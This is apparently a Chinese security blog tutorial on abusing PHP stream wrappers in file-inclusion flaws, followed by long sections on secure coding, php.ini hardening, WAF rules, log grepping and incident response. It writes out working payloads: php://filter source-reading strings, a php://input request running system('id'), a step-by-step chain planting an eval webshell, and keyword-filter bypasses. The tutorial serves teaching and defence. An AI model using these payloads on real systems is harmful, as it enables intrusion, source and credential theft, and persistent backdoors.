PHP伪协议安全解析:从文件读取到命令执行的攻防实战
2026/9/4 1:26:27 网站建设 项目流程

1. 从一次内部渗透测试的发现说起

那天下午,我正在对一个内部业务系统做常规的安全审计。目标是一个用PHP写的后台管理界面,功能看起来平平无奇,无非是上传个图片、查看个日志文件。我随手在文件上传的地方,尝试传了一个.php后缀的文件,系统很“智能”地给我弹了个提示:“仅允许上传jpg, png格式”。好吧,前端校验加后端白名单,常规操作。我换了个思路,看看有没有文件包含或者参数传递的地方。在查看“系统日志”的功能里,URL长这样:/admin/logs.php?file=system_20231027.log。一个file参数,直接拼接进了include()或者file_get_contents()里——这个味道太熟悉了。

我尝试把参数改成../../../../etc/passwd,页面返回了一片空白,或者是一个文件不存在的错误。看来有基础的目录穿越防护,或者对路径做了处理。这时候,我想起了PHP里那些“神奇”的包装器,也就是我们常说的PHP伪协议。我在参数里输入了php://filter/read=convert.base64-encode/resource=logs.php。回车之后,页面没有显示日志内容,而是返回了一长串毫无规律的Base64编码字符串。解码之后,我看到了logs.php这个文件的完整源代码。心跳瞬间加速,我知道,门已经打开了。

这不仅仅是读取了一个文件。通过伪协议,我能够读取应用目录下任何PHP脚本的源码,包括数据库配置文件(config.php)、核心业务逻辑文件,甚至是安装脚本。一旦源码在手,分析漏洞、寻找数据库连接凭证、发现新的攻击面就变得轻而易举。更关键的是,某些伪协议(如php://input)在与特定函数结合时,能够直接导致命令执行,让攻击者从读取文件权限“升级”到在服务器上执行任意命令的至高权限。今天,我就把这个过程中的技术细节、原理、利用手法和防御思路,掰开揉碎了讲清楚。无论你是开发、运维还是安全研究员,理解PHP伪协议,都是加固Web防线或进行安全评估的必修课。

2. PHP伪协议:文件读取的“任意门”

PHP伪协议,官方名称是“PHP包装器”(PHP Wrappers)。你可以把它理解为PHP为访问各种资源(不仅是本地文件系统)而提供的一套统一接口。当allow_url_fopenallow_url_include配置开启时(不幸的是,很多老旧或配置不当的环境默认就是开启的),PHP会把符合特定格式的字符串(如php://...,file://...,http://...)当作一个资源流来打开,而不是普通的文件路径字符串。

2.1 为什么说它是“任意门”?

在文件包含漏洞(Local File Inclusion, LFI)的利用中,攻击者通常的目标是读取敏感文件,如/etc/passwd/proc/self/environ,或者Web目录外的源码。传统的路径遍历(../../../)可能会被realpath()函数过滤,或者受限于PHP的open_basedir限制。但PHP伪协议提供了一种“曲线救国”甚至“降维打击”的方式。

核心原因在于:对于PHP解释器来说,includerequirefile_get_contents()fopen()等函数在处理php://filter这类协议时,其内部逻辑是“打开一个由PHP Filter协议处理过的数据流”。这个数据流的内容,可以是一个本地文件的编码转换结果。安全防护代码往往只检查路径字符串中是否包含../、是否以/开头,或者是否在允许的目录内,但它们很少(也很难)去深度解析一个协议字符串内部指向的最终资源。这就造成了防护的盲区。

2.2 核心利用协议:php://filter 详解

php://filter是文件读取利用中最常用、最强大的伪协议。它的基本语法是:php://filter/read=<过滤器链>/resource=<目标文件>

  • <过滤器链>:可以是一个或多个过滤器,用|管道符连接,对资源的数据流进行处理。
  • <目标文件>:你想要读取的实际文件路径。

为什么它能绕过很多防护?因为它不直接“包含”或“执行”目标文件,而是将目标文件的内容经过过滤器处理后,以数据流的形式返回。对于include()函数,如果它包含了一个经过convert.base64-encode过滤器处理后的文件流,PHP会先解码这个Base64流,得到原始文件内容,然后再将其作为PHP代码执行(如果文件是PHP脚本)。但更多时候,我们利用file_get_contents()highlight_file()等函数来读取并显示经过编码后的内容,从而避免代码执行,直接获取源码。

常用过滤器组合与实战场景:

  1. 直接读取源码(Base64编码)php://filter/read=convert.base64-encode/resource=index.php

    • 场景:页面会直接输出一串Base64。这是最稳妥的方式,因为Base64编码只包含64个字符,几乎能无损地通过Web输出,避免二进制数据或特殊字符被浏览器误解或截断。
    • 实操:拿到字符串后,用base64 -d命令(Linux)或在线工具解码即可。
  2. 读取源码(其他编码)php://filter/read=convert.iconv.utf-8.utf-16/resource=config.php

    • 场景:有时目标环境可能禁用了convert.base64-encode过滤器,或者输出有长度限制。可以尝试其他编码转换,如UTF-8到UTF-16,虽然输出是乱码,但解码后也能恢复。
    • 注意iconv过滤器需要PHP编译时支持iconv扩展。
  3. 多重过滤器链php://filter/read=string.rot13|convert.base64-encode/resource=/etc/passwd

    • 场景:纯粹为了演示过滤器可以串联。数据会先经过ROT13编码,再Base64编码。实际利用中较少这么用,但有助于理解过滤器的工作方式。
  4. 写入文件(配合文件包含): 虽然标题聚焦“读取”,但php://filterwrite链在特定LFI转RCE(远程代码执行)的场景下极其关键。例如,通过php://filter/write=string.rot13/resource=shell.php,结合file_put_contents()或某些包含漏洞的特定利用手法(如日志注入、Session文件包含),可以将恶意代码写入一个临时文件,然后再去包含它。这属于更高级的利用链。

注意php://filter的利用前提是目标文件可读。如果文件权限是000,或者被上层目录权限严格限制,伪协议也无能为力。它的强大在于绕过路径检查,而非绕过文件系统权限

2.3 其他相关伪协议速览

  • file://:访问本地文件系统。这是默认协议。file:///etc/passwd和直接写/etc/passwdallow_url_fopen=Off时效果一样。但当allow_url_fopen=On时,明确使用file://协议有时能绕过一些简单的字符串匹配防护(比如防护代码只检查了/etc/passwd这个字符串,但没检查file:///etc/passwd)。
  • php://input:访问请求的原始数据(POST数据)。这是实现命令执行的“关键先生”,我们下一章详细讲。
  • data://:数据流封装器,允许在URL中包含数据。例如data://text/plain,<?php phpinfo();?>。它的利用通常需要allow_url_include=On,且配置更为严格,现代PHP版本默认是Off,因此实际利用场景比php://filter少。
  • zip://,phar://:用于访问压缩包内的文件。在文件上传漏洞中,如果服务器允许上传zip文件并存在文件包含点,可以利用它来包含zip包内的PHP脚本,从而实现代码执行。phar://更强大,它能够触发PHP对象的反序列化,是另一条重要的攻击链。

3. 从文件读取到命令执行的致命跃迁

如果攻击止步于文件读取,那危害是数据泄露。但结合php://input等协议,攻击者可以完成从信息收集到系统控制权的夺取。这个跃迁的核心,在于找到能够执行PHP代码的“入口”,并将伪协议作为传递恶意代码的载体。

3.1 php://input 与命令执行函数

php://input是一个只读流,它允许你读取原始POST数据。当它与include()require()函数结合,并且allow_url_include设置为On时,攻击者可以将POST body中的内容作为PHP代码来执行。

一个典型的利用场景:假设存在一个脆弱的文件包含点:include($_GET['page'] . '.php');攻击者可以构造如下请求:

GET /vuln.php?page=php://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 18 <?php system('id');?>

如果服务器配置允许(allow_url_include=On),PHP会去读取php://input流的内容(即<?php system('id');?>),并将其作为PHP文件来解析执行,从而输出当前进程的用户信息。

哪些函数是“高危”的?任何能将传入参数作为PHP代码执行的函数,与伪协议结合都是高危的:

  • include(),require(),include_once(),require_once():文件包含函数。
  • file_get_contents(): 当用于包含并执行时(虽然不常见,但在某些特定代码逻辑下可能)。
  • passthru(),system(),exec(),shell_exec(),`反引号`:这些是明确的命令执行函数。但它们本身不解析伪协议。攻击链通常是:先通过伪协议+文件包含写入一个Webshell,或者利用包含漏洞临时执行代码,再通过这些函数调用系统命令。 例如,先通过php://input执行file_put_contents('shell.php', '<?php eval($_POST[cmd]);?>'),写入一个Webshell,然后再访问shell.php?cmd=system('whoami');

3.2 利用链构造:一个完整的攻击模拟

让我们还原一个更贴近真实漏洞的场景。假设一个应用有如下代码 (view.php):

<?php // 从用户输入获取文件名,并包含它 $file = $_GET['file']; if (file_exists($file)) { include($file); } else { echo "File not found."; } ?>

第一步:信息收集(使用php://filter)攻击者访问:/view.php?file=php://filter/read=convert.base64-encode/resource=view.php成功读取到view.php的源码。分析后发现,这里存在一个直接包含用户输入的文件包含漏洞,且没有有效的过滤。

第二步:探测配置(使用php://input)攻击者尝试探测allow_url_include是否开启:

POST /view.php?file=php://input HTTP/1.1 ... <?php phpinfo();?>

如果页面返回了PHP信息配置页,并且在Core部分看到allow_url_include => On,则证明可以利用。

第三步:命令执行(写入Webshell)由于可以直接执行代码,攻击者选择写入一个持久的后门:

POST /view.php?file=php://input HTTP/1.1 ... <?php file_put_contents('/var/www/html/backdoor.php', '<?php @eval($_REQUEST["c"]);?>'); echo "Done";?>

访问/backdoor.php?c=system('ls -la /');,即可列出根目录。

第四步:权限提升与横向移动通过Webshell,执行whoamiid查看当前用户权限。如果是Web服务用户(如www-data,apache,nobody),则尝试查找具有SUID权限的可执行文件、检查/home目录下其他用户的文件、读取/etc/shadow(需要root)等,进行内网横向移动或提权。

3.3 绕过技巧与受限环境下的利用

现实中的漏洞利用很少一帆风顺。防护手段和受限环境是常态。

1. 过滤了php://字符串怎么办?

  • 大小写绕过PHP://inputPhP://Filter。PHP的协议处理器对大小写不敏感。
  • URL编码php:%2F%2Finputphp://filter中的/可以编码为%2F
  • 多重编码:对编码后的字符串再次编码。
  • 利用其他协议:如果allow_url_include开启,尝试data://text/plain,<?php system('ls');?>。或者利用file://协议配合路径遍历,先读取关键配置文件,寻找其他突破口。

2.allow_url_includeallow_url_fopen都为 Off这是最安全的状态,php://inputdata://协议用于代码执行的路基本被堵死。但php://filterfile://可能依然可用,因为它们用于读取本地文件,不严格依赖这两个配置(尤其是file://)。攻击者依然可以读取源码,从中寻找:

  • 数据库密码(config.php,.env文件)。
  • 其他硬编码的敏感信息。
  • 新的、未受保护的文件包含点或命令注入点。
  • .git目录泄露(通过php://filter/read=convert.base64-encode/resource=../../../../.git/config),从而下载整个源码进行白盒审计。

3. 开启了open_basedir限制open_basedir将PHP可操作的文件限制在指定目录内。php://filter无法绕过open_basedir对文件系统访问的限制。如果resource=指定的文件在open_basedir之外,读取会失败。但是,攻击者仍然可以读取限制目录内的所有文件,这通常已经包含了Web应用的全部源码和上传目录,危害巨大。

4. 防御之道:从开发到运维的全链路加固

理解了攻击原理,防御就有了清晰的思路。防御不是单点,而是一个从代码编写、框架选择到服务器配置的完整链条。

4.1 安全编码:杜绝漏洞源头

1. 绝对不要直接包含用户输入这是铁律。任何将用户可控变量($_GET,$_POST,$_COOKIE,$_REQUEST)直接传递给includerequirefile_get_contents(用于包含时)等函数的行为,都是极度危险的。

错误示例:

$page = $_GET['page']; include($page . '.php');

正确做法:使用白名单映射

$allowed_pages = ['home', 'news', 'about']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); } else { include('404.php'); }

如果功能上必须动态包含文件,也应基于数据库ID或其他不可控的索引值来映射,而非文件名本身。

2. 严格校验文件路径如果业务必须处理文件路径:

  • 使用basename()函数获取文件名部分,去除目录路径。
  • 使用realpath()函数解析绝对路径,并与允许的基准目录进行比较。
$base_dir = '/var/www/html/uploads/'; $user_file = $_GET['file']; $real_path = realpath($base_dir . $user_file); // 检查解析后的真实路径是否以基准目录开头 if ($real_path && strpos($real_path, $base_dir) === 0) { // 安全,可以读取 $content = file_get_contents($real_path); } else { die('非法访问!'); }

3. 对命令执行函数使用参数化或严格过滤system()exec()等函数,应尽可能避免使用。如果必须用(如执行系统命令),绝不能将用户输入直接拼接进命令。

  • 使用 escapeshellarg() 或 escapeshellcmd()进行转义。
  • 更优方案:使用PHP提供的特定库函数替代系统命令。例如,用scandir()代替system('ls'),用file()代替exec('cat file')

4.2 服务器配置:收紧最后一道防线

代码层面的防御是根本,但服务器配置是兜底的安全网。

1. 修改 php.ini 关键配置这是最有效、最直接的防御措施。

; 禁止包含远程URL和伪协议中的input/data流 allow_url_include = Off ; 禁止打开远程URL(影响http://, ftp://等,对php://filter/file://影响有限,但建议关闭) allow_url_fopen = Off ; 启用安全模式(已废弃,但老版本可参考其思想),或严格设置open_basedir open_basedir = "/var/www/html/:/tmp/"

allow_url_include设置为Off,可以彻底阻断通过php://inputdata://协议执行代码的可能性。allow_url_fopen设置为Off也能增加攻击难度。

2. 配置 open_basedir将PHP脚本可访问的文件系统限制在Web根目录和必要的临时目录(如/tmp)。这能有效防止攻击者读取/etc/passwd/proc等系统敏感文件。

注意open_basedir不是万能的。它无法防止攻击者读取Web目录内的所有源码,也无法防止通过Web漏洞进行的其他攻击(如SQL注入)。它是一道重要的横向移动屏障。

3. 禁用危险函数php.ini中,通过disable_functions指令,禁用不必要的危险函数。

disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec,assert,dl,...

禁用systemexec等函数,即使攻击者通过其他漏洞(如文件包含执行了代码)获得了PHP代码执行能力,也无法直接调用系统命令,极大地增加了攻击成本。

4. 最小权限原则

  • 运行PHP-FPM或Apache进程的用户(如www-data)应该是非特权用户。
  • 确保Web目录下的文件权限设置正确。配置文件(如config.php)应设置为640(所有者可读写,用户组可读,其他无权限),且所有者是部署用户,而非Web服务用户。这样即使源码被读取,攻击者也无法修改。
  • 定期更新PHP版本和依赖库,修复已知漏洞。

4.3 安全审计与WAF防护

1. 代码审计在项目上线前或定期进行代码安全审计,重点关注文件包含、文件读取、命令执行、反序列化等高风险函数的使用点。可以使用RIPS、Fortify等静态代码分析工具辅助。

2. Web应用防火墙(WAF)部署WAF可以在网络层拦截常见的攻击payload。WAF规则库通常会包含对php://../etc/passwd等字符串的检测。但要注意,WAF可能被编码、变形等技术绕过,它应作为纵深防御的一环,而非唯一依赖。

3. 入侵检测与日志监控

  • 监控Web访问日志,关注异常的、包含大量特殊字符(如../,php://,base64)的请求。
  • 监控系统命令执行日志,关注由Web服务用户发起的异常命令。
  • 使用文件完整性监控(FIM)工具,监控Web目录下是否被创建了新的、可疑的PHP文件(如shell.php,backdoor.php)。

5. 实战排查:当怀疑遭遇伪协议攻击时

如果你是一个运维人员,突然发现服务器负载异常、出现了陌生文件,或者日志里出现了奇怪的请求,如何快速排查是否遭遇了此类攻击?

第一步:检查访问日志立即查看Web服务器(Nginx/Apache)的访问日志。搜索以下特征:

  • php://filterconvert.base64-encoderesource=等关键字。
  • php://input出现在GET参数中(这本身就很可疑)。
  • 对同一个PHP脚本的请求,参数中出现了../etc/passwdconfig.php等敏感路径。
  • 短时间内来自同一IP的大量、异常的请求。
    # 例如,在nginx日志中快速筛查 grep -E "(php://|base64-encode|\.\./|etc/passwd)" /var/log/nginx/access.log | head -20

第二步:检查文件系统

  • 查看Web根目录及子目录下,最近是否有新的、名称可疑的PHP文件被创建(如1.php,x.php,shell.php,admin.php等)。
    find /var/www/html -name "*.php" -mtime -1 # 查找一天内修改过的php文件
  • 检查/tmp目录下是否有可疑的session文件或临时文件。攻击者有时会利用php://filter写入临时文件再包含。

第三步:检查进程与网络连接

  • 使用tophtop查看是否有异常进程占用大量CPU或内存。
  • 使用netstat -antpss -antp查看是否有由Web服务用户(如www-data)建立的异常外网连接。

第四步:分析被上传的文件如果系统有文件上传功能,检查上传目录,看是否有被上传的、伪装成图片的Webshell(通过文件头或内容检查)。攻击者可能先上传一个包含恶意代码的图片,再通过文件包含漏洞配合php://filter来包含执行。

第五步:应急响应

  1. 隔离:如果确认被入侵,立即将服务器从网络隔离(拔网线或修改安全组)。
  2. 取证:备份完整的日志、可疑文件、进程快照。不要直接在受感染的服务器上进行分析或删除文件,避免破坏证据。
  3. 清除:在备份后,彻底清除Webshell、异常用户、后门进程。如果无法彻底清除,建议备份数据后,重置系统。
  4. 溯源与加固:分析漏洞根源,是哪个文件、哪行代码导致的问题?按照前面提到的防御措施,修复代码并加固服务器配置。
  5. 监控:修复后,加强监控,观察是否仍有异常活动。

PHP伪协议的安全问题,本质上是“功能被滥用”的典型例子。它本身是PHP提供的一个强大特性,但在不当使用和松懈配置下,就成了攻击者手中的利器。对于开发者,牢记“不要信任任何用户输入”;对于运维者,牢记“最小权限、默认拒绝”;对于安全人员,理解这些协议的工作原理,才能更好地进行攻击测试与防御部署。安全是一个持续的过程,没有一劳永逸的银弹,只有对细节的不断关注和对最佳实践的坚持。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询